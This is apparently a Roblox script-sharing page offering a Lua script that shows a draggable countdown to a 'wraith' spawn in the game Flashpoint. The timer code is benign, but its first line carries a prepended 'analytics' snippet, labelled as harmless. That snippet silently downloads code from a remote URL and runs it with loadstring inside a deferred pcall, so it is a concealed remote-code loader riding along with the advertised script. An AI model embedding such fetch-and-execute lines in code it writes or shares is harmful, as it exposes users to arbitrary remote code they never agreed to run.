Advertisements

FLASHPOINT: Flashpoint Time Until wraith spawn
357 views
⚡FLASHPOINT

FLASHPOINT: Flashpoint Time Until wraith spawn

FFrostyabout 1 year ago
  • Open source
Play Game

Description

Amazing script that impresses with Flashpoint Time Until wraith spawn, it’s convenient, simple, and very powerful to use.

Advertisements

Features

1 Feature
  • Flashpoint Time Until wraith spawn
48 lines•1756 bytes
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/6ZucYHJy?v=1"))()end);--=== Does not affect the script ===--local player = game:GetService("Players").LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")

local screenGui = Instance.new("ScreenGui")
screenGui.Name = "TimerGui"
screenGui.ResetOnSpawn = false
screenGui.Parent = playerGui

local dragFrame = Instance.new("Frame")
dragFrame.Size = UDim2.new(0, 300, 0, 100)
dragFrame.Position = UDim2.new(0.5, -150, 0.1, 0)
dragFrame.BackgroundTransparency = 1
dragFrame.Active = true
dragFrame.Draggable = true
dragFrame.Parent = screenGui

local timerLabel = Instance.new("TextLabel")
timerLabel.Size = UDim2.new(1, 0, 1, 0)
timerLabel.Position = UDim2.new(0, 0, 0, 0)
timerLabel.BackgroundTransparency = 1
timerLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
timerLabel.Font = Enum.Font.SourceSansBold
timerLabel.TextSize = 48
timerLabel.TextScaled = true
timerLabel.TextXAlignment = Enum.TextXAlignment.Center
timerLabel.TextYAlignment = Enum.TextYAlignment.Center
timerLabel.Parent = dragFrame

local countdownValue = player:WaitForChild("PlayerData"):WaitForChild("Misc"):WaitForChild("TimeUntilTimeWraith")

local function updateTimer()
	local minutes = math.floor(countdownValue.Value / 60)
	local seconds = countdownValue.Value % 60
	timerLabel.Text = string.format("%d:%02d", minutes, seconds)

	if countdownValue.Value <= 60 and countdownValue.Value > 0 then
		timerLabel.TextColor3 = Color3.fromRGB(255, 0, 0)
	else
		timerLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
	end
end

countdownValue:GetPropertyChangedSignal("Value"):Connect(updateTimer)
updateTimer()

Advertisements

Comments

0

Did it work for you? Sign in to share your experience.

Sign in to comment

No comments yet

Tried it? Let others know if it works.